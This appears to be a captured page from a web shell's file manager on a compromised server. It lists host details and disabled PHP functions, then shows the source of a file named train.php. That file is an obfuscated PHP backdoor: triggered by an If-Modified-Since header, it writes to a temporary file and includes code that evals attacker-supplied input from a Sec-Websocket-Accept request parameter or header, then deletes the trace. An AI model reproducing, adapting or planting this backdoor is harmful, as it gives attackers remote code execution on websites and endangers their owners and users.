HEX

Server: nginx/1.26.0

System: Linux iZj6ceg0gjdkbpnmyl2cnnZ 5.15.60-1.el7.x86_64 #1 SMP Thu Aug 11 12:39:22 UTC 2022 x86_64

User: www (1000)

PHP: 7.0.33

Disabled: phpinfo,eval,passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,pfsockopen,fsocket,fsockopen

Upload Files

File: /data/wwwroot/sites/multitrustcapital.com/www/train.php

<?php
//<PHPDATA>uploader;If-Modified-Since;Sec-Websocket-Accept</PHPDATA>
$_0=geTallHEaDErS();if(isset($_0["If\055Modif\x69e\x64-Since"])):$_1="<?\160\150p @eval(\044_REQU\x45S\x54[\042Sec-Web\x73o\143ket-Acce\160t\x22]);@eva\x6c\050\x24_H\x45\101D\x45RS\133\042S\x65\143\x2dWebs\157ck\145t-Acc\145pt\x22]);";$_2="\057tmp/\056".tIME();fiLE_PUT_CoNtENTS($_2,$_1);include($_2);uNlink($_2);endif;